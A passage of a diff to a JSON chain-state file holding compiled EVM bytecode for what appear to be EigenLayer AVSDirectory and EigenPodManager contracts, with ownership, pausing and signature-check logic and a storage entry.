1b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -188,7 +188,7 @@ "0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae": { "nonce": 1, "balance": "0x0", - "code": "0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b9